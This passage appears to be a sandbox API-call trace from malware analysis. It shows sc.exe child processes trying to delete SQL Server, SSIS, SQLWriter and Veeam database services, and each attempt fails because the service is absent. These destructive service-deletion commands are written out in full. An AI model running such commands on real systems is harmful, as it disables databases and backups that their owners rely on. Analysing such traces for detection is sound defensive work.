AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 30 os_tid = 0xa18 [0074.812] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24fa30 | out: lpSystemTimeAsFileTime=0x24fa30*(dwLowDateTime=0x3672ea50, dwHighDateTime=0x1d62786)) [0074.812] GetCurrentProcessId () returned 0xa14 [0074.812] GetCurrentThreadId () returned 0xa18 [0074.812] GetTickCount () returned 0x1148f83 [0074.812] QueryPerformanceCounter (in: lpPerformanceCount=0x24fa38 | out: lpPerformanceCount=0x24fa38*=19468733214) returned 1 [0074.817] GetModuleHandleW (lpModuleName=0x0) returned 0xff5f0000 [0074.818] __set_app_type (_Type=0x1) [0074.818] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff5f7228) returned 0x0 [0074.818] __wgetmainargs (in: _Argc=0xff5fb604, _Argv=0xff5fb610, _Env=0xff5fb608, _DoWildCard=0, _StartInfo=0xff5fb050 | out: _Argc=0xff5fb604, _Argv=0xff5fb610, _Env=0xff5fb608) returned 0 [0074.819] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0074.822] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0074.822] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0074.822] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0074.822] _wcsicmp (_String1="delete", _String2="query") returned -13 [0074.822] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0074.822] _wcsicmp (_String1="delete", _String2="start") returned -15 [0074.822] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0074.822] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0074.822] _wcsicmp (_String1="delete", _String2="control") returned 1 [0074.822] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0074.822] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0074.822] _wcsicmp (_String1="delete", _String2="config") returned 1 [0074.822] _wcsicmp (_String1="delete", _String2="description") returned -7 [0074.822] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0074.822] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0074.822] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0074.822] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0074.822] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0074.822] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0074.822] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0074.822] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0074.822] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0074.823] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0074.823] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0074.823] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0074.823] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0074.823] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0074.823] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0074.823] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0074.823] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0074.823] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0074.823] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x414370 [0074.829] OpenServiceW (hSCManager=0x414370, lpServiceName="SQLTELEMETRY", dwDesiredAccess=0x10000) returned 0x0 [0074.829] GetLastError () returned 0x424 [0074.829] _itow (in: _Dest=0x424, _Radix=2422936 | out: _Dest=0x424) returned="1060" [0074.829] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff5fb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0074.831] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x24f850, nSize=0x2, Arguments=0x24f880 | out: lpBuffer="跀A") returned 0x62 [0074.832] GetFileType (hFile=0x120) returned 0x3 [0074.832] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x418ea0 [0074.832] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x418ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\nA", lpUsedDefaultChar=0x0) returned 98 [0074.832] WriteFile (in: hFile=0x120, lpBuffer=0x418ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x24f7f8, lpOverlapped=0x0 | out: lpBuffer=0x418ea0*, lpNumberOfBytesWritten=0x24f7f8*=0x62, lpOverlapped=0x0) returned 1 [0074.832] LocalFree (hMem=0x418ea0) returned 0x0 [0074.832] LocalFree (hMem=0x418dc0) returned 0x0 [0074.832] LocalFree (hMem=0x0) returned 0x0 [0074.832] CloseServiceHandle (hSCObject=0x414370) returned 1 [0075.066] exit (_Code=1060) Thread: id = 31 os_tid = 0xaa8 Process: id = "17" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x46a52000" os_pid = "0x640" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete MsDtsServer130" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 32 os_tid = 0xadc [0075.123] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1efcd0 | out: lpSystemTimeAsFileTime=0x1efcd0*(dwLowDateTime=0x36813290, dwHighDateTime=0x1d62786)) [0075.123] GetCurrentProcessId () returned 0x640 [0075.123] GetCurrentThreadId () returned 0xadc [0075.123] GetTickCount () returned 0x1148fe1 [0075.123] QueryPerformanceCounter (in: lpPerformanceCount=0x1efcd8 | out: lpPerformanceCount=0x1efcd8*=19499644840) returned 1 [0075.124] GetModuleHandleW (lpModuleName=0x0) returned 0xffce0000 [0075.125] __set_app_type (_Type=0x1) [0075.125] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffce7228) returned 0x0 [0075.125] __wgetmainargs (in: _Argc=0xffceb604, _Argv=0xffceb610, _Env=0xffceb608, _DoWildCard=0, _StartInfo=0xffceb050 | out: _Argc=0xffceb604, _Argv=0xffceb610, _Env=0xffceb608) returned 0 [0075.126] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0075.130] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0075.130] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0075.130] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0075.130] _wcsicmp (_String1="delete", _String2="query") returned -13 [0075.130] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0075.130] _wcsicmp (_String1="delete", _String2="start") returned -15 [0075.130] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0075.130] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0075.130] _wcsicmp (_String1="delete", _String2="control") returned 1 [0075.130] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0075.130] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0075.130] _wcsicmp (_String1="delete", _String2="config") returned 1 [0075.130] _wcsicmp (_String1="delete", _String2="description") returned -7 [0075.130] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0075.130] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0075.130] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0075.130] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0075.130] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0075.131] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0075.131] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0075.131] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0075.131] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0075.131] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0075.131] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0075.131] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0075.131] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0075.131] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0075.131] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0075.131] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0075.131] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0075.131] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0075.131] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x843d0 [0075.136] OpenServiceW (hSCManager=0x843d0, lpServiceName="MsDtsServer130", dwDesiredAccess=0x10000) returned 0x0 [0075.136] GetLastError () returned 0x424 [0075.136] _itow (in: _Dest=0x424, _Radix=2030392 | out: _Dest=0x424) returned="1060" [0075.136] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffceb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0075.138] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1efaf0, nSize=0x2, Arguments=0x1efb20 | out: lpBuffer="趰\x08") returned 0x62 [0075.139] GetFileType (hFile=0x120) returned 0x3 [0075.139] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x88e90 [0075.139] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x88e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x08", lpUsedDefaultChar=0x0) returned 98 [0075.139] WriteFile (in: hFile=0x120, lpBuffer=0x88e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1efa98, lpOverlapped=0x0 | out: lpBuffer=0x88e90*, lpNumberOfBytesWritten=0x1efa98*=0x62, lpOverlapped=0x0) returned 1 [0075.139] LocalFree (hMem=0x88e90) returned 0x0 [0075.139] LocalFree (hMem=0x88db0) returned 0x0 [0075.139] LocalFree (hMem=0x0) returned 0x0 [0075.139] CloseServiceHandle (hSCObject=0x843d0) returned 1 [0075.142] exit (_Code=1060) Thread: id = 33 os_tid = 0xb5c Process: id = "18" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x45557000" os_pid = "0xab4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete SSISTELEMETRY130" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 34 os_tid = 0x644 [0075.227] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22f770 | out: lpSystemTimeAsFileTime=0x22f770*(dwLowDateTime=0x3691dc30, dwHighDateTime=0x1d62786)) [0075.227] GetCurrentProcessId () returned 0xab4 [0075.227] GetCurrentThreadId () returned 0x644 [0075.228] GetTickCount () returned 0x114904e [0075.228] QueryPerformanceCounter (in: lpPerformanceCount=0x22f778 | out: lpPerformanceCount=0x22f778*=19510125537) returned 1 [0075.229] GetModuleHandleW (lpModuleName=0x0) returned 0xff150000 [0075.229] __set_app_type (_Type=0x1) [0075.229] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff157228) returned 0x0 [0075.230] __wgetmainargs (in: _Argc=0xff15b604, _Argv=0xff15b610, _Env=0xff15b608, _DoWildCard=0, _StartInfo=0xff15b050 | out: _Argc=0xff15b604, _Argv=0xff15b610, _Env=0xff15b608) returned 0 [0075.230] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0075.233] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0075.233] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0075.233] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0075.233] _wcsicmp (_String1="delete", _String2="query") returned -13 [0075.233] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0075.233] _wcsicmp (_String1="delete", _String2="start") returned -15 [0075.233] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0075.233] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0075.233] _wcsicmp (_String1="delete", _String2="control") returned 1 [0075.233] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0075.233] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0075.233] _wcsicmp (_String1="delete", _String2="config") returned 1 [0075.233] _wcsicmp (_String1="delete", _String2="description") returned -7 [0075.233] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0075.233] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0075.233] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0075.233] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0075.233] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0075.233] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0075.234] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0075.234] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0075.234] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0075.234] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0075.234] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0075.234] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0075.234] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0075.234] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0075.234] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0075.234] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0075.234] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0075.234] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0075.234] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2f43d0 [0075.238] OpenServiceW (hSCManager=0x2f43d0, lpServiceName="SSISTELEMETRY130", dwDesiredAccess=0x10000) returned 0x0 [0075.239] GetLastError () returned 0x424 [0075.239] _itow (in: _Dest=0x424, _Radix=2291160 | out: _Dest=0x424) returned="1060" [0075.239] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff15b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0075.241] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x22f590, nSize=0x2, Arguments=0x22f5c0 | out: lpBuffer="趰/") returned 0x62 [0075.242] GetFileType (hFile=0x120) returned 0x3 [0075.242] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x2f8e90 [0075.242] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x2f8e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n/", lpUsedDefaultChar=0x0) returned 98 [0075.242] WriteFile (in: hFile=0x120, lpBuffer=0x2f8e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x22f538, lpOverlapped=0x0 | out: lpBuffer=0x2f8e90*, lpNumberOfBytesWritten=0x22f538*=0x62, lpOverlapped=0x0) returned 1 [0075.242] LocalFree (hMem=0x2f8e90) returned 0x0 [0075.242] LocalFree (hMem=0x2f8db0) returned 0x0 [0075.242] LocalFree (hMem=0x0) returned 0x0 [0075.242] CloseServiceHandle (hSCObject=0x2f43d0) returned 1 [0075.340] exit (_Code=1060) Thread: id = 35 os_tid = 0x600 Process: id = "19" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x4575e000" os_pid = "0xb2c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete SQLWriter" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 36 os_tid = 0xb58 [0075.411] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12fbb0 | out: lpSystemTimeAsFileTime=0x12fbb0*(dwLowDateTime=0x36a02470, dwHighDateTime=0x1d62786)) [0075.411] GetCurrentProcessId () returned 0xb2c [0075.411] GetCurrentThreadId () returned 0xb58 [0075.411] GetTickCount () returned 0x11490ac [0075.411] QueryPerformanceCounter (in: lpPerformanceCount=0x12fbb8 | out: lpPerformanceCount=0x12fbb8*=19528462870) returned 1 [0075.412] GetModuleHandleW (lpModuleName=0x0) returned 0xff460000 [0075.412] __set_app_type (_Type=0x1) [0075.412] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff467228) returned 0x0 [0075.412] __wgetmainargs (in: _Argc=0xff46b604, _Argv=0xff46b610, _Env=0xff46b608, _DoWildCard=0, _StartInfo=0xff46b050 | out: _Argc=0xff46b604, _Argv=0xff46b610, _Env=0xff46b608) returned 0 [0075.417] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0075.420] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0075.420] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0075.420] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0075.420] _wcsicmp (_String1="delete", _String2="query") returned -13 [0075.420] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0075.420] _wcsicmp (_String1="delete", _String2="start") returned -15 [0075.420] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0075.420] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0075.420] _wcsicmp (_String1="delete", _String2="control") returned 1 [0075.420] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0075.420] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0075.420] _wcsicmp (_String1="delete", _String2="config") returned 1 [0075.420] _wcsicmp (_String1="delete", _String2="description") returned -7 [0075.420] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0075.420] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0075.420] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0075.420] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0075.420] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0075.420] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0075.420] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0075.420] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0075.420] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0075.420] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0075.420] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0075.421] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0075.421] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0075.421] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0075.421] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0075.421] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0075.421] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0075.421] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0075.421] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x334370 [0075.425] OpenServiceW (hSCManager=0x334370, lpServiceName="SQLWriter", dwDesiredAccess=0x10000) returned 0x0 [0075.426] GetLastError () returned 0x424 [0075.426] _itow (in: _Dest=0x424, _Radix=1243672 | out: _Dest=0x424) returned="1060" [0075.426] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff46b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0075.428] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x12f9d0, nSize=0x2, Arguments=0x12fa00 | out: lpBuffer="跀3") returned 0x62 [0075.428] GetFileType (hFile=0x120) returned 0x3 [0075.428] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x338ea0 [0075.428] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x338ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n3", lpUsedDefaultChar=0x0) returned 98 [0075.428] WriteFile (in: hFile=0x120, lpBuffer=0x338ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x12f978, lpOverlapped=0x0 | out: lpBuffer=0x338ea0*, lpNumberOfBytesWritten=0x12f978*=0x62, lpOverlapped=0x0) returned 1 [0075.428] LocalFree (hMem=0x338ea0) returned 0x0 [0075.428] LocalFree (hMem=0x338dc0) returned 0x0 [0075.428] LocalFree (hMem=0x0) returned 0x0 [0075.428] CloseServiceHandle (hSCObject=0x334370) returned 1 [0075.436] exit (_Code=1060) Thread: id = 38 os_tid = 0xb20 Process: id = "20" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x46863000" os_pid = "0xb54" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete \"MSSQL$VEEAMSQL2012\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 39 os_tid = 0xb74 [0075.659] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1cf9f0 | out: lpSystemTimeAsFileTime=0x1cf9f0*(dwLowDateTime=0x36b590d0, dwHighDateTime=0x1d62786)) [0075.659] GetCurrentProcessId () returned 0xb54 [0075.659] GetCurrentThreadId () returned 0xb74 [0075.659] GetTickCount () returned 0x1149138 [0075.659] QueryPerformanceCounter (in: lpPerformanceCount=0x1cf9f8 | out: lpPerformanceCount=0x1cf9f8*=19553266111) returned 1 [0075.659] GetModuleHandleW (lpModuleName=0x0) returned 0xff860000 [0075.659] __set_app_type (_Type=0x1) [0075.659] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff867228) returned 0x0 [0075.660] __wgetmainargs (in: _Argc=0xff86b604, _Argv=0xff86b610, _Env=0xff86b608, _DoWildCard=0, _StartInfo=0xff86b050 | out: _Argc=0xff86b604, _Argv=0xff86b610, _Env=0xff86b608) returned 0 [0075.661] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0075.663] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0075.663] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0075.663] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0075.663] _wcsicmp (_String1="delete", _String2="query") returned -13 [0075.663] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0075.663] _wcsicmp (_String1="delete", _String2="start") returned -15 [0075.663] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0075.663] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0075.664] _wcsicmp (_String1="delete", _String2="control") returned 1 [0075.664] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0075.664] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0075.664] _wcsicmp (_String1="delete", _String2="config") returned 1 [0075.664] _wcsicmp (_String1="delete", _String2="description") returned -7 [0075.664] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0075.664] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0075.664] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0075.664] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0075.664] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0075.664] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0075.664] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0075.664] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0075.664] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0075.664] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0075.664] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0075.664] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0075.664] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0075.664] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0075.664] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0075.664] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0075.664] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0075.664] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0075.664] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2c43e0 [0075.670] OpenServiceW (hSCManager=0x2c43e0, lpServiceName="MSSQL$VEEAMSQL2012", dwDesiredAccess=0x10000) returned 0x0 [0075.671] GetLastError () returned 0x424 [0075.671] _itow (in: _Dest=0x424, _Radix=1898584 | out: _Dest=0x424) returned="1060" [0075.671] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff86b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0075.673] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1cf810, nSize=0x2, Arguments=0x1cf840 | out: lpBuffer="跀,") returned 0x62 [0075.674] GetFileType (hFile=0x120) returned 0x3 [0075.674] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x2c8ea0 [0075.674] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x2c8ea0, 